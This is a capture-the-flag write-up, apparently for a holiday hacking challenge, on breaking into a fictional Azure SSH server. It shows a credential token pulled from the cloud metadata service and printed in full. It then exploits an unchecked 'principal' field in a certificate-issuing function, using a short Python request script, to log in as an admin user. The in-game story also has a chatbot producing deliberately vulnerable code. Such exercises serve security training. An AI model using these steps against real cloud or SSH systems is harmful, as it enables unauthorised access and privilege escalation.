Skip to content

Certificate SSHenanigans⚓︎

Difficulty:

Objective⚓︎

Request

Go to Pixel Island and review Alabaster Snowball's new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?

Alabaster Snowball

Hello there! Alabaster Snowball at your service.
I could use your help with my fancy new Azure server at ssh-server-vm.santaworkshopgeeseislands.org.
ChatNPT suggested I upgrade the host to use SSH certificates, such a great idea!
It even generated ready-to-deploy code for an Azure Function App so elves can request their own certificates. What a timesaver!
I'm a little wary though. I'd appreciate it if you could take a peek and confirm everything's secure before I deploy this configuration to all the Geese Islands servers.
Generate yourself a certificate and use the monitor account to access the host. See if you can grab my TODO list.
If you haven't heard of SSH certificates, Thomas Bouve gave an introductory talk and demo on that topic recently.
Oh, and if you need to peek at the Function App code, there's a handy Azure REST API endpoint which will give you details about how the Function App is deployed.

Hints⚓︎

SSH Certificates Talk

From: Alabaster Snowball

Check out Thomas Bouve's talk and demo to learn all about how you can upgrade your SSH server configuration to leverage SSH certificates.

Azure VM Access Token

From: Sparkle Redberry

Azure CLI tools aren't always available, but if you're on an Azure VM you can always use the Azure REST API instead.

Azure Function App Source Code

From: Alabaster Snowball

The get-source-control Azure REST API endpoint provides details about where an Azure Web App or Function App is deployed from.

Solution⚓︎

Montor Access⚓︎

The website northpole-ssh-certs-fa will give us a SSH certificate for an SSH key we paste into the input window. This certificate is for the principal "elf".

Using this certificate, we can login as "monitor" to ssh-server-vm.santaworkshopgeeseislands.org:

    ssh -i SSH_PRIVATE_KEY -o CertificateFile=CERTIFICATE -l monitor ssh-server-vm.santaworkshopgeeseislands.org

We get dropped right into this program:

┌──────────────── Satellite Tracking Interface ────────────────┐
│            ____     __ ______             __                 │
│           / __/__ _/ //_  __/______ _____/ /__ ____          │
│          _\ \/ _ `/ __// / / __/ _ `/ __/  '_// __/          │
│         /___/\_,_/\__//_/ /_/  \_,_/\__/_\_\/_/              │
│                                                              │
╞══════════════════════════════════════════════════════════════╡
│                                                              │
│  Position: 1.145134°, -145.261629°                           │
│  Velocity: 3.0698 km/s                                       │
│  Altitude: 35786.09 km above Earth's surface                 │
│  Signal Strength: 90.43%                                     │
│  Solar Panel Status: Deployed                                │
│  Battery Status: Unknown                                     │
│  Thermal Status: Unknown                                     │
│                                                              │
│          **** Geostationary orbit detected! ****             │
│                                                              │
└──────────────────────────────────────────────────────────────┘
... from which we can escape to a shell pressing CTRL+C.

We have shell access as "monitor" on ssh-server-vm.santaworkshopgeeseislands.org

Just write down the coordinated the SatTracker shows

Position: 1.145134°, -145.261629

Our goal is to read Alabaster's todo list, which we do not find on the monitor account.

Getting the Source Code⚓︎

Having the source code of an attack target is helpful.

Alabaster himself points us at the Azure REST API call for source control. This needs several parameters:

  • the name of the app
  • the resourceGroup
  • the subscriptionId
  • and an authentication token

From the Azure101 challenge, we still know the subscription id used ("2b0942f3-9bca-484b-a508-abdae2db5e64"), as well as the resource groups ("northpole-rg1", "northpole-rg2").

The name of the app we derive from the url: "northpole-ssh-certs-fa"

For the authentication token, we use the monitor account at ssh-server-vm.santaworkshopgeeseislands.org:

curl -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' | jq

We get

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDM5NzI0ODUsIm5iZiI6MTcwMzk3MjQ4NSwiZXhwIjoxNzA0MDU5MTg1LCJhaW8iOiJFMlZnWUpqQWZlanc3RHJXMnkzMlc1T2U3OG80QUFBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiI1WG1yZWJISElrbXoyT2FWcllYU0JBIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.JZ5E5svElko0L5GxPUOjolXHSACG8-LWpanTEwJJGNDw8ltFevurcFVVEpi574mEhLesI5VtUN_n6VdjrB4KT6zwimO3fQRT3jqgPSyEOvZ7gts3Gfm2FC9aY06qnNFBfC2IlBzJ4oE-tvLH6-FWtq1eY7dOW_CWzgfsJH03kgIoE_do-EX1s7iZqSq_G8LcMmTQp_6u9hUCw583k1fwHgYfrMm2pf9SzSsQhbzjaFIISdMe184k9IDLUfUArb6JbKZTm7HYolPHjN6wrsitoulY-Yh4bNp7S0hyYJ8QczVMEzHWQT_7AKp2oi6hiDUHSE-yT8_4KuCzxarCGY9HjA",
  "client_id": "b84e06d3-aba1-4bcc-9626-2e0d76cba2ce",
  "expires_in": "84068",
  "expires_on": "1704059185",
  "ext_expires_in": "86399",
  "not_before": "1703972485",
  "resource": "https://management.azure.com/",
  "token_type": "Bearer"
}

With this rather longish access_token in variable $token, we query (from any host on the Internet):

(lines broken up for readability)

curl -H "Authorization: Bearer $token" 
      'https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/
              resourceGroups/northpole-rg1/providers/Microsoft.Web/
              sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version=2022-03-01' | jq
and get a github location as the "repoUrl" parameter:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
{
  "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web",
  "name": "northpole-ssh-certs-fa",
  "type": "Microsoft.Web/sites/sourcecontrols",
  "location": "East US",
  "tags": {
    "project": "northpole-ssh-certs",
    "create-cert-func-url-path": "/api/create-cert?code=candy-cane-twirl"
  },
  "properties": {
    "repoUrl": "https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa",
    "branch": "main",
    "isManualIntegration": false,
    "isGitHubAction": true,
    "deploymentRollbackEnabled": false,
    "isMercurial": false,
    "provisioningState": "Succeeded",
    "gitHubActionConfiguration": {
      "codeConfiguration": null,
      "containerConfiguration": null,
      "isLinux": true,
      "generateWorkflowFile": true,
      "workflowSettings": {
        "appType": "functionapp",
        "publishType": "code",
        "os": "linux",
        "variables": {
          "runtimeVersion": "3.11"
        },
        "runtimeStack": "python",
        "workflowApiVersion": "2020-12-01",
        "useCanaryFusionServer": false,
        "authType": "publishprofile"
      }
    }
  }
}

Going to this github.com page,

we find the full source code of the "northpole-ssh-cert-fa" app at
https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa/blob/main/function_app.py

Finding a flaw⚓︎

The function "parse_input()" shows some promise for out nefarious work:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def parse_input(data) -> Tuple[PublicKey, str]:
    """Parse and validate input parameters."""
    ssh_pub_key = data.get("ssh_pub_key")

    if not ssh_pub_key:
        raise ValidationError("ssh_pub_key field is required.")

    if not isinstance(ssh_pub_key, str):
        raise ValidationError("ssh_pub_key is not a string.")

    ssh_pub_key = ssh_pub_key.strip()
    logging.info("SSH public key: %s", ssh_pub_key)

    if not (ssh_pub_key.lower().startswith("ssh-rsa") or ssh_pub_key.lower().startswith("ssh-ed25519")):
        raise ValidationError("ssh_pub_key is not an RSA or ED25519 SSH public key.")

    principal = data.get("principal", DEFAULT_PRINCIPAL)

    if not isinstance(principal, str):
        raise ValidationError("principal is not a string.")

    principal = principal.strip()
    logging.info("Principal: %s", principal)

    if not principal.isalpha():
        raise ValidationError("principal contains invalid characters.")

    try:
        return PublicKey.from_string(ssh_pub_key), principal
    except ValueError as err:
        raise ValidationError("ssh_pub_key is not a valid SSH public key.") from err
The highlighted line set the principal from the key "principal" of the input data dict. Only when this key is missing is the principal set from the variable "DEFAULT_PRINCIPAL", which in turn has been loaded from the environment variable "DEFAULT_PRINCIPAL".

This in principle should allow us to have this app generate ssh certificates for a principal of our choosing, not only "elf".

Which Principal?⚓︎

Yet we are unaware of which other "principals" our target ssh-server-vm.santaworkshopgeeseislands.org would accept.

Time for another excursion as "monitor" to ssh-server-vm.santaworkshopgeeseislands.org. We look for additional config files for the ssh daemon:

monitor@ssh-server-vm:~$ ls /etc/ssh/sshd_config.d/                       
sshd_config_certs.conf
This file has the statement "AuthorizedPrincipalsFile":

monitor@ssh-server-vm:~$ cat /etc/ssh/sshd_config.d/sshd_config_certs.conf 
...[lines omitted] ...
HostCertificate /etc/ssh/ssh_host_ed25519_key-cert.pub
TrustedUserCAKeys /etc/ssh/ca.pub
AuthorizedPrincipalsFile /etc/ssh/auth_principals/%u

# No root login
PermitRootLogin no
...[lines omitted] ...
"%u" in the path is resolved to the user name, so we list the directory
monitor@ssh-server-vm:~$ ls /etc/ssh/auth_principals/
alabaster  monitor
and find out which principal is accepted for the "alabaster" account:

monitor@ssh-server-vm:~$ cat /etc/ssh/auth_principals/alabaster 
admin

We need a certificate for "admin"

Obtaining a SSH certificate for "admin"⚓︎

As we found out in the "Finding a flaw" section, we need to add a parameter "principal" when requesting the certificate. This python script will do this:

get_cert.py
#!/usr/bin/python3

import sys
import requests

url="https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl"

if len(sys.argv)<3 :
    print("Usage:  get_ssh_cert.py ssh_pub_key_file principal")
    sys.exit()

keyfile=sys.argv[1]
principal=sys.argv[2]

with open(keyfile, "r") as f: key=f.read()

data={ "ssh_pub_key":key, "principal":principal}

response=requests.post(url, json=data)
j=response.json()

outfile=f"{keyfile}-{principal}.cert"
with open(outfile,"w") as out: print(j["ssh_cert"], file=out)
print(f"Wrote certificate to {outfile}")
It takes a ssh pub key file and the requested principal as command line arguments, posts a request with both parameters to the northpole-ssh-certs-fa app, and writes the returned ssh certificate to a file.

We run it with our key and "admin":

$ ./get_cert.py ssh-triback-HHC2023.pub admin
Wrote certificate to ssh-triback-HHC2023.pub-admin.cert

Becoming Alabaster⚓︎

Becoming "alabaster" now is possible:

ssh -i ssh-triback-HHC2023 -o CertificateFile=ssh-triback-HHC2023.pub-admin.cert -l alabaster ssh-server-vm.santaworkshopgeeseislands.org
alabaster@ssh-server-vm:~$ 

And we can access his todo list:

alabaster@ssh-server-vm:~$ ls
alabaster_todo.md  impacket

alabaster@ssh-server-vm:~$ cat alabaster_todo.md 
# Geese Islands IT & Security Todo List

- [X] Sleigh GPS Upgrade: Integrate the new "Island Hopper" module into Santa's sleigh GPS. Ensure Rudolph's red nose doesn't interfere with the signal.
- [X] Reindeer Wi-Fi Antlers: Test out the new Wi-Fi boosting antler extensions on Dasher and Dancer. Perfect for those beach-side internet browsing sessions.
- [ ] Palm Tree Server Cooling: Make use of the island's natural shade. Relocate servers under palm trees for optimal cooling. Remember to watch out for falling coconuts!
- [ ] Eggnog Firewall: Upgrade the North Pole's firewall to the new EggnogOS version. Ensure it blocks any Grinch-related cyber threats effectively.
- [ ] Gingerbread Cookie Cache: Implement a gingerbread cookie caching mechanism to speed up data retrieval times. Don't let Santa eat the cache!
- [ ] Toy Workshop VPN: Establish a secure VPN tunnel back to the main toy workshop so the elves can securely access to the toy blueprints.
- [ ] Festive 2FA: Roll out the new two-factor authentication system where the second factor is singing a Christmas carol. Jingle Bells is said to be the most secure.
The 5th item answers the challenge question:

Alabaster plans to implement a Gingerbread Cookie Cache

Images⚓︎

Answer

Gingerbread

Response⚓︎

Alabaster Snowball

Oh my! I was so focused on the SSH configuration I completely missed the vulnerability in the Azure Function App.
Why would ChatNPT generate code with such a glaring vulnerability? It's almost like it wanted my system to be unsafe. Could ChatNPT be evil?
Thanks for the help, I'll go and update the application code immediately!
While we're on the topic of certificates, did you know Active Directory (AD) uses them as well? Apparently the service used to manage them can have misconfigurations too.
You might be wondering about that SatTrackr tool I've installed on the monitor account?
Here's the thing, on my nightly stargazing adventures I started noticing the same satellite above Geese Islands.
I wrote that satellite tracker tool to collect some additional data and sure enough, it's in a geostationary orbit above us.
No idea what that means yet, but I'm keeping a close eye on that thing!